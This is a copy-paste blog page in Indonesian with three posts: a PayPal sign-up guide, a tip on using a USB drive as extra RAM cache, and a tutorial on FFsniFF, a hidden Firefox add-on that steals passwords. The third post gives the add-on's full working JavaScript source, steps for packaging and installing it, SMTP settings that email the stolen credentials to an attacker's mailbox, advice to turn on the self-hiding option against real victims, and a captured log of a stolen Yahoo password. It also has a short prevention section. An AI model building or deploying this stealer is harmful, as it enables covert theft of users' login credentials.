COPY-PASTE BLOG

Selasa, 24 Mei 2011

Transaksi Bisnis Online dengan Account Paypal


membuat paypal
Terkadang para pemula sering bingung untuk mencairkan uangnya dari bisnis online, terutama pembayaran dari pembeli yang berasal dari negara lain. Kalau dari dalam negeri sich gampang saja, diantaranya memakai sistem transfer bank lokal di Indonesia. Tapi kalau pembayaran antar negara, lebih efektif menggunakan pembayaran online yang umum digunakan di internet seperti PayPal, E-gold, Alertpay, Stormpay, Moneybookers, Liberty Reserve, Webmoney, Pecunix dan lain-lain. Online Payment ini sangat penting perannya untuk menghasilkan uang di internet karena mempermudah proses transaksi keuangan yang dilakukan dan juga menghindari terlalu banyak pemakaian kartu kredit di internet karena dinilai kurang aman atau membutuhkan waktu yang relatif lama bila melibatkan bank konvensional. Online Payment ini ibaratnya sebagai banknya internet, sehingga bisa menerima uang dari pihak lain dan juga membayar ke pihak lain serta bisa melakukan penarikan uang.
Pada artikel kali ini, saya ingin berbagi informasi kepada para pemula bisnis online tentang cara registrasi ke Online Payment PayPal. Maaf kepada senior-senior Bisnis online yang barangkali menganggap Artikel ini basi. Saya berusaha berbagi khususnya kepada pemula. Oke saya lanjutkan ya. Sebelum Anda melakukan registrasi ke PayPal ini, ada baiknya Anda mempunyai kartu kredit untuk memverifikasi atau bisa juga dengan Kartu Debit dari Payoneer sehingga Anda bisa melakukan penarikan uang (mencairkan uang) nantinya. Bahasa kasarnya, anggap saja Anda punya situs bisnis online dan Anda memasang sistem pembayaran online dengan PayPal. Ketika ada pembeli dari negara lain dan dia menggunakan pembayaran dengan kartu kredit mereka, maka saldo uang Anda di PayPal akan bertambah. Nah kalau saldo uang Anda di PayPal ini sudah banyak, disamping Anda bisa menerima pembayaran, Anda juga bisa melakukan pembelian di situs lain dengan PayPal Anda. Dan yang tidak kalah pentingnya, Anda bisa mencairkan uang di PayPal Anda melalui Kartu Debit Payoneer Anda. Kalau uang di PayPal tadi sudah “berpindah” ke Kartu Debit Payoneer, tidak perlu capek-capek, Anda tinggal datang saja ke ATM yang berlogo Master Card, terus Anda ambil dalam bentuk mata uang negara kita yaitu Rupiah (kurs otomatis), kalau mau tetap dalam bentuk Dollar, cari saja ATM Dollar. Atau kalau Anda lagi di negara lain misalnya Malaysia, ya uangnya bisa dicairkan dalam bentuk Ringgit. Makanya saran saya miliki juga Kartu Debit Gratis dari Payoneer disini.
Langkah-langkah mendaftar di PayPal sebagai berikut :
  • Buka situs PayPal dengan alamat https://paypal.com
  • Klik Sign Up untuk melakukan pendaftaran
  • Pilih jenis account yang Anda ingin. Apakah Personal, Premier atau Business. Saran saya pilih saja Personal karena lebih mudah dan bisa di upgrade kemudian hari. Klik tombol Get Started
  • Isi formulir yang tersedia dengan data Anda. Perlu diingat email yang Anda masukkan akan menjadi account Anda di PayPal, jadi gunakan email yang valid. Kemudian klik tombol I agree, create my account
  • Masukkan data kartu kredit Anda atau bisa juga Anda masukkan data kartu Master Card Payoneer, kemudian klik tombol Continue. Sampai disini proses pembuatan account PayPal telah selesai di lakukan.
  • Bila Anda belum memiliki kartu kredit atau Kartu Debit Master Card Payoneer, Anda bisa klik link Go to My Account. Data kartu kredit bisa Anda isikan kemudian hari. Sampai disini Anda sudah berhasil membuat account Paypal, tetapi statusnya masih Unverified. Walaupun statusnya masih Unverified, anda sudah bisa menerima pembayaran dari klien atau menerima komisi program afiliasi tertentu serta menerima donasi dari orang lain, namun Anda belum bisa melakukan penarikan atau pencairan uang sebelum diverifikasi. Setelah Anda memasukkan data kartu kredit, maka statusnya akan berubah Verified.
  • Buka email untuk mengaktifkan verifikasi email yang dikirim oleh PayPal.
Memasang dan mengunakan Icon PayPal untuk menerima pembayaran di situs Anda:
  • Buka halaman depan situs PayPal, klik link Log in
  • Klik tab Merchant Services
  • Setelah halaman ini terbuka, Anda bisa memilih fitur-fitur yang diinginkan seperti PayPal Shopping Chart, Buy Now Buttons, Other Leading Charts, Subscriptions & Recurring Payments, Donations, Gift Certificates dan lain-lain.
  • Selanjutnya pilih saja salah satu fitur tersebut untuk di gunakan di web atau blog Anda. Anda juga bisa memilih icon yang diinginkan, melakukan sedikit setting tombol, selanjutnya Create Buttons
  • Selanjutnya Anda copy kode HTML dan pasang di web atau blog Anda.
Secara garis besar, beginilah cara membuat dan memanfaatkan PayPal di situs Anda. Mudah bukan?? Untuk menambah saldo Anda di Account PayPal, perlu sedikit kerja keras dan ketekunan, buat situs dengan tema yang menarik atau produk yang menarik, lakukan omptimisasi situs Anda agar banyak pengunjung. Dan jangan lupa, ikuti terus weblog ini, kami akan memberikan semua informasi berkaitan dengan bisnis online menuju kebebasan finansial. Kalau ingin lebih detail tentang internet marketing silahkan belajar di Asian Brain, saat ini ada tantangan 120 hari menghasilkan US$100 perhari. Selamat Mencoba, SUKSES SELALU.

Minggu, 22 Mei 2011

Cara Menambah Kapasitas RAM Dengan Flashdisk

menambah kapasitas RAM dengan flashdiskArtikel ini merupakan tips dan tutorial cara menambah kapasitas RAM dengan flahsdisk. Secara umum Random Access Memory (RAM), merupakan bagian memory yang bisa digunakan oleh user untuk menyimpan program dan data. Nah masalah akan timbul ketika data yang disimpan dan data yang di akses sudah tidak berimbang dengan kapasitas RAM atau memory itu sendiri. Biasanya yang terjadi, kinerja komputer akan lamban, solusinya terpaksa kita harus meng-upgrade Memory atau RAM dengan kapasitas yang lebih tinggi.
Untuk teman-teman yang tidak ingin repot-repot membeli dan meng-upgrade memory/RAM komputer atau laptop, ada sebuah solusi jitu yang sangat ampuh untuk cara menambah kapasitas RAM dengan flahsdisk terutama pada sistem operasi Windows Vista dan XP.

Dalam windows vista yang di kenal sangat berat karena banyak menggunakan memory, Microsoft memasukan aplikasi yang dinamakan Readyboost. Aplikasi ini adalah aplikasi yg sengaja di tanam oleh pihak microsoft untuk meningkatkan performa dari windows vista sendiri, karena untuk menjalankan windows vista diperlukan banyak memory. Fungsi dari readyboost itu sendiri adalah, menambah kapasitas memory/ram dengan menggunakan UFD/flash disk. Disarankan menggunakan UFD yg besar kapasitasnya minimal 2 kali besar memory internal dari komp/NoteBook.
Instalasi pada Windows VISTA:
Klik kanan pada directory UFD anda, dan pilih properties –> readyboost –> use the device–> atur spaca yang diingingkan, disarankan full/maksimal –> selesai.
Cuma yg perlu di perhatikan, tidak semua UFD yg mendukung aplikasi readyboost, sebaiknya ditannyakan dulu sama penjual UFD-nya, apakah sudah support readyboost atau belum.
Instalasi pada Windows XP:
Untuk pengguna XP, kita harus menggunakan aplikasi tambahan karena kalo di XP belum ada aplikasi ready boost. Salah satu softwarenya yang bisa menggantikan fungsi readyboost pada Vista adalah Eboostr.
Nah apa aja kehebatan dari software ini, ini beberapa kutipan dari publishernya :
  1. Memory caching (if you have plenty of RAM installed)
  2. Exclude list (the most requested feature)
  3. Power saving mode
  4. More than 4GB cache file size (on NTFS file system only)
  5. One flash drive use on different computers
  6. Unlimited number of files in cache
  7. Build cache process improvement (including initial statistics used from XP prefetch information)
  8. Load balancing mechanism improvements
  9. And many small fixes and enhancements
  10. And finally 16 new languages added: Portuguese, Ukrainian, Finnish, Czech, Danish, Hungarian, Bulgarian, Polish, Korean, Swedish, Sinhalese, Lithuanian, Arabic, Belarusian, Japanese and Thai.
Klik kanan di icon MyComputer, terus pilih properties –> advance –> setting pada performance –> advance –> change –>pilih set –>pilih directory ufd/nama ufd –>pilih no paging file –>sett –> finish –> restart komputer.
Lalu install Eboostr, yang belum download eboostr bisa download Eboostr di sini.
Jalankan —> pilih add —> pilih flashdisknya –> sett full pada “select the cache size (terserah mau full atau tidak –> OK –> Build Cache —> Finish. Restart komputer dan rasakan bedanya…

Kamis, 19 Mei 2011

Menjaring Password dengan Firefox Sniffer

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.

Sekilas tentang addon Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
1
2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:
              /install.rdf                   
              /components/*  
              /components/cmdline.js                   
              /defaults/
              /defaults/preferences/*.js     
              /plugins/*                        
              /chrome.manifest                
              /chrome/icons/default/*       
              /chrome/
              /chrome/content/
install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1
2
3
4
5
6
7
8
9
pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:
1
2
3
4
5
6
7
var send_from_host = "<SEND_FROM_HOST>";
var send_from = "<SEND_FROM>";
var send_to = "<SEND_TO>";
var subject = "<SUBJECT>";
var smtp_host = "<SMTP_HOST>";
var smtp_port = "<SMTP_PORT>";
var enable_hide = "<HIDDING>";
Konfigurasi smtp untuk @ilmuhacking.com

MX record ilmuhacking.com
MX record ilmuhacking.com
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.
smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
1
2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";
Konfigurasi smtp untuk @telkom.net
Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";
Membuat file ffsniff.jar
Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:
content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul
Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.
ffsniff.jar list files
ffsniff.jar list files

Membuat file ffsniff.xpi
Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
install.rdf
chrome/ffsniff.jar
Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
ffsniff.xpi file list
ffsniff.xpi file list

Instalasi Firefox Sniffer
Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.
instalasi firefox sniffer
instalasi firefox sniffer
Mencoba login ke yahoo
Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.
log sniffer email
log sniffer email
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
Return-path: <testing@ilmuhacking.com>
Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
     by gator669.hostgator.com with esmtp (Exim 4.69)
     (envelope-from <testing@ilmuhacking.com>)
     id 1Lcywa-0002DK-Jj
     for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer
Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
Return-Path: <rizki.wicaksono@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
  by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
  with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
 by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
  by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID: <auto-000690188427@f1.c.plasa.com>
Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.
FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.
Pencegahan
Bad guys already know about FFsniff since 3 years ago
FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:
  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
  • firefox safe mode
    firefox safe mode
  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\
    firefox extension folder
    firefox extension folder
    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.
    How FFsniff Works
    Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
     
    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
     transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
     outstream = transport.openOutputStream(0, 0, 0);
     stream = transport.openInputStream(0, 0, 0);
     instream.init(stream);
     
     // this will avoid 'Improper use of SMTP command pipelining'
     // error on SMTP servers
     outstream.write(data0, data0.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data1, data1.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data2, data2.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data3, data3.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data, data.length);
     // don't read here cos no data was send to us
     //while (instream.available() == 0) {}
     //instream.read(instream.available());
     
     outstream.write(data4, data4.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data5, data5.length);
     while (instream.available() == 0) {}
     
     outstream.close();
     instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
     var workingThread = function() {
     };
     
     workingThread.prototype = {
      run: function() {
       send_data();
      }
     };
    } else {
     var runnable = {
      run: function() {
       send_data();
      }
     }
    }
    function sniff() {
     // if we are running under 3.0 or later
     if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
      var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
      thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
     } else {
      var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
      thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
     }
    }
     
    function do_sniff() {
     var ok = 0;
     var hesla = window.content.document.getElementsByTagName("input");
     data = "";
     for (var i = 0; i < hesla.length; i++) {
      if (hesla[i].value != "") {
       if (hesla[i].type == "password") {
        ok = 1;
       }
       if (hesla[i].name == "") {
        data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n";
       }
       else {
        data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
       }
      }
     }
     if (ok == 1) {
      data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
      sniff()
     }
    }
    function hide_me() {
     var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
     var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
     var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
     var root = RDFService.GetResource("urn:mozilla:item:root");
     var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
     Container.Init(extensionDS, root);
     var elements = Container.GetElements();
     while (elements.hasMoreElements()) {
      var element = elements.getNext();
      var name = "";
      var target = extensionDS.GetTarget(element, nameArc, true);
      if (target) {
       name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
       if (name == "FFsniFF") {
        Container.RemoveElement(element, true);
       }
      }
     }
    }
    if (enable_hide == "yes") {
     hide_me();
    }
    window.addEventListener("submit", do_sniff, false);
    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
    how ffsniff works
    how ffsniff works
    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.
    Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.
    Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    220-mx1.mail.plasa.com ESMTP
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM: <rizki.wicaksono@telkom.net>
    250 sender <rizki.wicaksono@telkom.net> ok
    RCPT TO: <rizki.wicaksono@telkom.net>
    250 recipient <rizki.wicaksono@telkom.net> ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok:  Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT
    Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 
    220-We do not authorize the use of this system to transport unsolicited, 
    220 and/or bulk e-mail.
    EHLO ilmuhacking.com
    250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM: <testing@ilmuhacking.com>
    250 OK
    RCPT TO: <testing@ilmuhacking.com>
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
